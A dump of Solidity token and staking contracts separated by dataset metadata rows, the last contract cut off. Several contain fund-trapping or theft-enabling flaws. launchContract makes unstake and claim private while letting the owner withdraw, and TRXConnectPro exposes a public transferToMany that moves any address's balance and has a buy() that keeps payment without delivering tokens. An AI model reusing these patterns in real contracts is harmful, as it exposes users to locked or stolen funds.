_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burnFrom(address account, uint256 amount) public virtual override returns (bool){
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
contract launchContract is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
event Stake(address indexed user, uint256 amount);
event Unstaked(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event Claim(address indexed user, uint256 amount);
mapping(address => uint256) private _stakedBalance;
mapping(address => uint256) private _userReward;
mapping(address => uint256) private _addressToIndex;
mapping(address => uint256) public _unlockblock;
// mapping(address => uint256) public _firstMonthBlock;
address[] public userAddresses;
uint256 public startBlock = 0 ; // set start block
uint256 public minimum_deposit = 1*10**6; //minimum deposit
uint256 public endBlock = 128630000 ; // set end block
uint256 public firstMonthRewardperblock = 0; //first month block reward % * 1e18
uint256 public afterRewardperblock = 0; //after first block reward % * 1e18
uint256 private firstMonthBlockPeriod = 864000; //30days block = 836129.0323, we use 864000
uint256 private unlockblockperiod = 864000; //15days block = 418064.5161, we use 432000
address public rewardaddress = 0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664 ; //rewardaddress
address public stakeaddress = 0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664 ; //stakeaddress
uint256 public totalpoolstacked = 0;
uint256 public lastRewardBlock = 128630000; // should be same as start block at the beginning
IERC20 rewardtoken = IERC20 (rewardaddress);
IERC20 staketoken = IERC20 (stakeaddress);
function stakeBalanceOf(address _user) public view returns (uint256) {
return _stakedBalance[_user];
}
function rewardBalanceOf(address _user) external view returns (uint256) {
uint256 lastblock = block.number;
uint256 pendingRewardBlockWithinFirstMonth;
uint256 pendingRewardBlockAfterFirstMonth;
if (endBlock <= lastRewardBlock) {
lastblock = endBlock;
}
if (lastblock > startBlock && lastRewardBlock < lastblock && endBlock > lastRewardBlock) {
if (lastblock <= startBlock.add(firstMonthBlockPeriod)){
// within 1 month
pendingRewardBlockWithinFirstMonth = lastblock.sub(lastRewardBlock);
uint256 reward = _stakedBalance[_user].mul(firstMonthRewardperblock).div(10**18);
return _userReward[_user].add(reward.mul(pendingRewardBlockWithinFirstMonth));
}else{
// after 1 month
if (lastRewardBlock>=startBlock.add(firstMonthBlockPeriod)){
pendingRewardBlockAfterFirstMonth = lastblock.sub(lastRewardBlock);
uint256 reward = _stakedBalance[_user].mul(afterRewardperblock).div(10**18);
return _userReward[_user].add(reward.mul(pendingRewardBlockAfterFirstMonth));
}else{
pendingRewardBlockWithinFirstMonth = startBlock.add(firstMonthBlockPeriod).sub(lastRewardBlock);
pendingRewardBlockAfterFirstMonth= lastblock.sub(startBlock.add(firstMonthBlockPeriod));
uint256 rewardFirstMonth = _stakedBalance[_user].mul(firstMonthRewardperblock).div(10**18);
uint256 rewardAfter = _stakedBalance[_user].mul(afterRewardperblock).div(10**18);
return _userReward[_user].add(rewardFirstMonth.mul(pendingRewardBlockWithinFirstMonth)).add(rewardAfter.mul(pendingRewardBlockAfterFirstMonth));
}
}
} else {
return _userReward[_user];
}
}
function purchase(uint256 _amount) public updatePool {
require(endBlock > lastRewardBlock, "Purchase ended");
require(_amount >= minimum_deposit, "Cannot purchase less than minimum");
uint256 stakeamount = _stakedBalance[msg.sender].add(_amount);
_stakedBalance[msg.sender] = stakeamount;
totalpoolstacked = totalpoolstacked.add(_amount);
if (_addressToIndex[msg.sender] > 0) {
} else {
userAddresses.push(msg.sender);
uint256 index = userAddresses.length;
_addressToIndex[msg.sender] = index;
// _unlockblock[msg.sender] = block.number.add(unlockblockperiod);
// _firstMonthBlock[msg.sender] = block.number.add(firstMonthBlockPeriod);
}
_unlockblock[msg.sender] = block.number.add(unlockblockperiod); //reset unlock period enery new stake
staketoken.safeTransferFrom(address(msg.sender), address(this), _amount);
emit Stake(msg.sender, _amount);
}
function unstake(uint256 _amount) private updatePool {
require(block.number > _unlockblock[msg.sender], "Unlock block not reached");
require(_stakedBalance[msg.sender] > 0, "Account does not have a balance staked");
require(_amount > 0, "Cannot unstake Zero token");
require(_amount <= _stakedBalance[msg.sender], "Attempted to withdraw more than balance staked");
_stakedBalance[msg.sender] = _stakedBalance[msg.sender].sub(_amount);
totalpoolstacked = totalpoolstacked.sub(_amount);
staketoken.safeTransfer(address(msg.sender), _amount);
emit Unstaked(msg.sender, _amount);
}
modifier updatePool {
uint256 lastblock = block.number;
if (endBlock <= lastRewardBlock) {
lastblock = endBlock;
}
if (lastblock > startBlock && lastRewardBlock < lastblock) {
if (totalpoolstacked > 0){
uint256 length = getAddressesLength();
uint256 pendingRewardBlockWithinFirstMonth;
uint256 pendingRewardBlockAfterFirstMonth;
for (uint id = 0; id < length; ++id) {
address user = getAddresses(id);
if (_stakedBalance[user] == 0){
}else {
if (lastblock <= startBlock.add(firstMonthBlockPeriod)){
// within 1 month
pendingRewardBlockWithinFirstMonth = lastblock.sub(lastRewardBlock);
uint256 reward = _stakedBalance[user].mul(firstMonthRewardperblock).div(10**18);
_userReward[user] = _userReward[user].add(reward.mul(pendingRewardBlockWithinFirstMonth));
}else{
// after 1 month
if (lastRewardBlock>=startBlock.add(firstMonthBlockPeriod)){
pendingRewardBlockAfterFirstMonth = lastblock.sub(lastRewardBlock);
uint256 reward = _stakedBalance[user].mul(afterRewardperblock).div(10**18);
_userReward[user] = _userReward[user].add(reward.mul(pendingRewardBlockAfterFirstMonth));
}else{
pendingRewardBlockWithinFirstMonth = startBlock.add(firstMonthBlockPeriod).sub(lastRewardBlock);
pendingRewardBlockAfterFirstMonth= lastblock.sub(startBlock.add(firstMonthBlockPeriod));
uint256 rewardFirstMonth = _stakedBalance[user].mul(firstMonthRewardperblock).div(10**18);
uint256 rewardAfter = _stakedBalance[user].mul(afterRewardperblock).div(10**18);
_userReward[user] = _userReward[user].add(rewardFirstMonth.mul(pendingRewardBlockWithinFirstMonth)).add(rewardAfter.mul(pendingRewardBlockAfterFirstMonth));
}
}
}
}
}
lastRewardBlock = lastblock;
}
_;
}
function massupdate () public updatePool returns (bool){
return true;
}
function claim() private updatePool {
require(rewardtoken.balanceOf(address(this)) >= _userReward[msg.sender], "ERC20: transfer amount exceeds balance");
rewardtoken.safeTransfer(address(msg.sender), _userReward[msg.sender]);
_userReward[msg.sender] = 0;
emit Claim(msg.sender, _userReward[msg.sender]);
}
function ownerwithdraw(uint256 _amount) public onlyOwner {
rewardtoken.safeTransfer(address(msg.sender), _amount);
emit Withdraw(msg.sender, _amount);
}
// Address loop
function getAddresses(uint256 i) private view returns (address) {
return userAddresses[i];
}
function getAddressesLength() private view returns (uint256) {
return userAddresses.length;
}
}
| 84,247 | 179 |
12b257f6319e9a282fbda358c930d3611ddc89d1b51e0f04fc965a109ff948c5
| 15,835 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TL/TLv2NV2QA9Z5sLKJ1ojUmus32KxiiNbTHn_TRXConnectPro.sol
| 3,517 | 13,469 |
//SourceUnit: solidity.sol
pragma solidity >=0.5.4 <0.6.0;
contract ReserveTokenContract {
string public name;
constructor() public {
name = 'ReserveTokenCon';
}
}
contract BuyerSwapperContract {
string public name;
constructor() public {
name = 'BuyerSwapperCont';
}
}
contract StakerContract{
string public name;
constructor() public {
name = 'StakeCont';
}
}
contract TRXConnectPro {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 8;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
event Bought(uint256 amount);
event Sold(uint256 amount);
event staked(address _staker,uint256 amount);
event OwnershipTransferred(address indexed _from, address indexed _to);
BuyerSwapperContract public BYSWCon;
StakerContract public StakeTokenCon;
ReserveTokenContract public ReserveTokenCon;
address public owner;
address public newOwner;
address public RoiOwner;
uint256 public token_rate;
uint256 public swap_fees;
uint256 public RoiOwnerPercent;
uint256 public unstakeFee; // fees in percent
uint256 private key;
uint256 private referralKey;
uint256 private matchingRoiKey;
uint256 private unstakeKey;
uint256 private reserveTokenkey;
modifier onlyOwner {
require(msg.sender == owner,'Invalid Owner!');
_;
}
modifier onlyRoiOwner {
require(msg.sender == RoiOwner,'Invalid ROI Owner!');
_;
}
modifier onlyAuthorized(uint256 _key) {
require(key == _key,'Invalid key!');
_;
}
modifier onlyreferralAuthorized(uint256 _key) {
require(referralKey == _key,'Invalid key!');
_;
}
modifier onlyMatchingRoiAuthorized(uint256 _matchingRoiKey) {
require(matchingRoiKey == _matchingRoiKey,'Invalid key!');
_;
}
modifier onlyUnstakeAuthorized(uint256 _unstakeKey) {
require(unstakeKey == _unstakeKey,'Invalid key!');
_;
}
modifier onlyreserveTokenkeyAuthorized(uint256 _reserveTokenkey) {
require(reserveTokenkey == _reserveTokenkey,'Invalid key!');
_;
}
mapping(address=>uint256) public totalStaked;
uint256 initialSupply = 10000000;
string tokenName = "TRX Connect Pro";
string tokenSymbol = "TCP";
constructor(address _owner,uint256 _key,uint256 _referralKey,uint256 _matchingRoiKey,uint256 _unstakeKey,uint256 _reserveTokenkey,address _RoiOwner) public {
BYSWCon = new BuyerSwapperContract();
StakeTokenCon = new StakerContract();
ReserveTokenCon = new ReserveTokenContract();
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
// balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
balanceOf[address(BYSWCon)] = totalSupply*30/100;
balanceOf[address(StakeTokenCon)] = totalSupply*50/100;
balanceOf[address(ReserveTokenCon)] = totalSupply*20/100;
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
owner = _owner;
token_rate = 200000000;
swap_fees = 1;
unstakeFee = 10;
key = _key;
RoiOwner = _RoiOwner;
RoiOwnerPercent = 1;
referralKey = _referralKey;
matchingRoiKey = _matchingRoiKey;
unstakeKey = _unstakeKey;
reserveTokenkey = _reserveTokenkey;
}
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0000000000000000000000000000000000000000);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
function _transferToMany(address _from, address[] memory _tos, uint _totalValue,uint[] memory _values) internal {
// Prevent transfer to 0x0 address. Use burn() instead
// Check if the sender has enough
require(balanceOf[_from] >= _totalValue,'No enough tokens!');
// applying the loop
for(uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
uint _value = _values[i];
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
}
function transferToMany(address _sender,address[] memory _to, uint _totalValue, uint[] memory _value) public returns (bool success) {
_transferToMany(_sender, _to,_totalValue, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function transferRoiOwnership(address _RoiOwner) public onlyRoiOwner {
RoiOwner = _RoiOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function changeKey(uint256 _key) public onlyOwner {
key = _key;
}
function changeReferralKey(uint256 _key) public onlyOwner {
referralKey = _key;
}
function changeUnstakekey(uint256 _key) public onlyOwner {
unstakeKey = _key;
}
function changeReserveTokenkeykey(uint256 _key) public onlyOwner {
reserveTokenkey = _key;
}
function changeTokenRate(uint256 _token_rate) public onlyOwner {
token_rate = _token_rate;
}
function buy(uint256 _token,address _reciever) public payable{
uint256 amountTobuy = _token;
uint256 dexBalance = balanceOf[address(BYSWCon)];
require(amountTobuy > 0, "You need to send some Ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
address(uint160(RoiOwner)).transfer(msg.value*RoiOwnerPercent/200);
}
function transferTokenBuy(uint256 _key, uint256 _token,address _reciever) public payable onlyRoiOwner onlyAuthorized(_key){
uint256 amountTobuy = _token;
uint256 dexBalance = balanceOf[address(BYSWCon)];
require(amountTobuy > 0, "You need to send some Ether");
require(amountTobuy <= dexBalance, "Not enough tokens in the reserve");
// transfer(_reciever, amountTobuy);
_transfer(address(BYSWCon), _reciever, amountTobuy);
emit Bought(amountTobuy);
}
function swap(uint256 amount,address _reciever) public payable {
require(amount > 0, "You need to sell at least some tokens");
uint256 senderBalance = balanceOf[address(_reciever)];
require(senderBalance >= amount, "Sender token balance is low");
// send the token
_transfer(msg.sender,address(BYSWCon), amount);
}
function swapTrx(uint256 _key,uint256 _TrxAmount,address _reciever) public payable onlyRoiOwner onlyAuthorized(_key){
require(_TrxAmount <= address(this).balance, "Contract balance is low");
address(uint160(_reciever)).transfer(_TrxAmount);
emit Sold(_TrxAmount);
}
function ownertrnasfertTrx(uint256 _TrxAmount) public payable onlyOwner{
require(_TrxAmount <= address(this).balance, "Contract balance is low");
(msg.sender).transfer(_TrxAmount);
emit Sold(_TrxAmount);
}
function withdrawTrx(uint256 _TrxAmount,address _reciever) public payable onlyOwner{
require(_TrxAmount <= address(this).balance, "Contract balance is low");
address(uint160(_reciever)).transfer(_TrxAmount);
}
function stake(uint256 amount,address _to) public payable {
require(amount > 0, "You need to stake at least some tokens");
uint256 senderBalance = balanceOf[_to];
require(senderBalance >= amount, "Sender token balance is low");
// send the token from sender to staker
_transfer(msg.sender,address(StakeTokenCon), amount);
if(totalStaked[_to]>=0){
totalStaked[_to] = totalStaked[_to]+amount;
}else{
totalStaked[_to] = amount;
}
emit staked(_to,amount);
}
function unstake(uint256 _key,uint256 amount,address _to) public payable onlyRoiOwner onlyUnstakeAuthorized(_key) {
require(amount > 0, "You need to unstake at least some tokens");
uint256 senderTotalStaked = totalStaked[_to];
require(senderTotalStaked >= amount, "Sender token balance is low");
uint256 returnAmount = amount- amount*unstakeFee/100;
// send the token from staker to sender
_transfer(address(StakeTokenCon),_to, returnAmount);
totalStaked[_to] = totalStaked[_to]-amount;
emit staked(_to,amount);
}
// Send the referral commission
function transferReferralComm(uint256 _referralKey, address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyreferralAuthorized(_referralKey)returns (bool success) {
transferToMany(address(StakeTokenCon), _to,_totalValue, _value);
return true;
}
// Send the matching commission and roi
function transferMatchingCommAndRoi(uint256 _matchingRoiKey,address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyMatchingRoiAuthorized(_matchingRoiKey) returns (bool success) {
transferToMany(address(StakeTokenCon), _to,_totalValue, _value);
return true;
}
// / Send the reserve token
function transferReserveToken(uint256 _ReserveTokenkey, address[] memory _to, uint _totalValue, uint[] memory _value) public onlyRoiOwner onlyreserveTokenkeyAuthorized(_ReserveTokenkey) returns (bool success) {
transferToMany(address(ReserveTokenCon), _to,_totalValue, _value);
return true;
}
function balanceOfToken(address tokenOwner) public view returns (uint256) {
return balanceOf[tokenOwner];
}
function balanceOfContract() public view returns (uint256) {
return address(this).balance;
}
}
| 285,691 | 180 |
e57fddb9c23af42fba37f830193a42e78cfc9faf23bd0b3d5b900736596acba5
| 29,470 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/7b/7b7Ed51fdD83cB6dEcF3Db47Bc2aBa087Eb53744_ContexiaStaking.sol
| 4,833 | 18,674 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from,
address to,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0),
"Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow.
return (a & b) + (a ^ b) / 2;
}
function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b - 1) / b can overflow on addition, so we distribute.
return a / b + (a % b == 0 ? 0 : 1);
}
}
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
library SafeMath {
function tryAdd(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
function trySub(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
function tryMul(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
function tryDiv(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
function tryMod(uint256 a, uint256 b)
internal
pure
returns (bool, uint256)
{
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
function mod(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
abstract contract ReentrancyGuard {
// Booleans are more expensive than uint256 or any type that takes up a full
// word because each write operation emits an extra SLOAD to first read the
// slot's contents, replace the bits taken up by the boolean, and then write
// back. This is the compiler's defense against contract upgrades and
// pointer aliasing, and it cannot be disabled.
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
contract ContexiaStaking is Ownable, ReentrancyGuard {
using SafeMath for uint256;
// Info of each user.
struct UserInfo {
uint256 amount; // How many LP tokens the user has provided.
uint256 rewardDebt; // Reward debt. See explanation below.
uint256 firstTimeDeposited;
uint256 lastTimeDeposited;
//
// We do some fancy math here. Basically, any point in time, the amount of cons
// entitled to a user but is pending to be distributed is:
//
// pending reward = (user.amount * pool.accconPerShare) - user.rewardDebt
//
// Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens:
// 1. The pool's `accconPerShare` (and `lastRewardBlock`) gets updated.
// 2. User receives the pending reward sent to his/her address.
// 3. User's `amount` gets updated.
// 4. User's `rewardDebt` gets updated.
}
// Info of each pool.
struct PoolInfo {
address lpToken; // Address of LP token contract.
uint256 lastRewardBlock; // Last block number that cons distribution occurs.
uint256 accconPerShare; // Accumulated cons per share, times 1e12. See below.
}
// The CON TOKEN!
address public con;
// The Con node purchaser
address public nodePurchaser;
// Block number when bonus CON period ends.
uint256 public bonusFirstEndBlock;
uint256 public bonusSecondEndBlock;
// CON tokens created per block.
uint256 public conPerBlock;
// The block number when CON mining starts.
uint256 public startBlock;
uint256 public rewardEndBlock;
// Bonus muliplier for early CON makers.
uint256 public firstMultiplier;
uint256 public secondMultiplier;
// Reward Pool Address
address public rewardsPool;
// Info of each pool.
PoolInfo public poolInfo;
// Info of each user that stakes LP tokens.
mapping(address => UserInfo) public userInfo;
event Deposit(address indexed user, uint256 amount);
event Withdraw(address indexed user, uint256 amount);
event Harvest(address indexed user, uint256 amount);
event EmergencyWithdraw(address indexed user, uint256 amount);
constructor(address _con,
address _purchaser,
address _lpToken,
uint256 _conPerBlock,
uint256 _startBlock,
uint256 _endBlock,
uint256 _bonusFirstEndBlock,
uint256 _bonusSecondEndBlock,
address _rewardsPool) {
con = _con;
nodePurchaser = _purchaser;
conPerBlock = _conPerBlock;
bonusFirstEndBlock = _bonusFirstEndBlock;
bonusSecondEndBlock = _bonusSecondEndBlock;
startBlock = _startBlock;
rewardEndBlock = _endBlock;
rewardsPool = _rewardsPool;
require(_bonusSecondEndBlock < rewardEndBlock);
poolInfo = PoolInfo({
lpToken: _lpToken,
lastRewardBlock: startBlock,
accconPerShare: 0
});
}
function getCurrentRewardsPerBlock() public view returns (uint256) {
if (block.number < startBlock || block.number >= rewardEndBlock) {
return 0;
}
if (block.number < bonusFirstEndBlock) {
return conPerBlock.mul(firstMultiplier).div(100);
} else if (block.number < bonusSecondEndBlock) {
return conPerBlock.mul(secondMultiplier).div(100);
} else {
return conPerBlock;
}
}
// Return reward multiplier over the given _from to _to block.
function getMultiplier(uint256 _from, uint256 _to)
public
view
returns (uint256)
{
_to = Math.min(rewardEndBlock, _to);
if (_from >= _to) {
return 0;
}
// First case ===> _from <= bonusFirstEndBlock and below 3 cases of _to
if (_from <= bonusFirstEndBlock) {
if (_to <= bonusFirstEndBlock) {
return _to.sub(_from).mul(firstMultiplier).div(100);
} else if (_to > bonusFirstEndBlock && _to <= bonusSecondEndBlock) {
return
bonusFirstEndBlock
.sub(_from)
.mul(firstMultiplier)
.add(_to.sub(bonusFirstEndBlock).mul(secondMultiplier))
.div(100);
} else {
return
bonusFirstEndBlock
.sub(_from)
.mul(firstMultiplier)
.add(bonusSecondEndBlock.sub(bonusFirstEndBlock).mul(secondMultiplier))
.div(100)
.add(_to.sub(bonusSecondEndBlock));
}
}
// Second case ===> _from <= bonusSecondEndBlock
else if (_from > bonusFirstEndBlock && _from < bonusSecondEndBlock) {
if (_to <= bonusSecondEndBlock) {
return _to.sub(_from).mul(secondMultiplier).div(100);
} else {
return
bonusSecondEndBlock
.sub(_from)
.mul(secondMultiplier)
.div(100)
.add(_to.sub(bonusSecondEndBlock));
}
}
// Third case ===> _from > bonusSecondEndBlock
else {
return _to.sub(_from);
}
}
// View function to see pending cons on frontend.
function pendingRewards(address _user) public view returns (uint256) {
UserInfo storage user = userInfo[_user];
uint256 accconPerShare = poolInfo.accconPerShare;
uint256 lpSupply = IERC20(poolInfo.lpToken).balanceOf(address(this));
if (block.number > poolInfo.lastRewardBlock && lpSupply != 0) {
uint256 multiplier = getMultiplier(poolInfo.lastRewardBlock,
block.number);
uint256 conReward = multiplier.mul(conPerBlock);
accconPerShare = accconPerShare.add(conReward.mul(1e12).div(lpSupply));
}
return user.amount.mul(accconPerShare).div(1e12).sub(user.rewardDebt);
}
// Update reward variables of the given pool to be up-to-date.
function updatePool() public {
if (block.number <= poolInfo.lastRewardBlock) {
return;
}
uint256 lpSupply = IERC20(poolInfo.lpToken).balanceOf(address(this));
if (lpSupply == 0) {
poolInfo.lastRewardBlock = block.number;
return;
}
uint256 multiplier = getMultiplier(poolInfo.lastRewardBlock,
block.number);
uint256 conReward = multiplier.mul(conPerBlock);
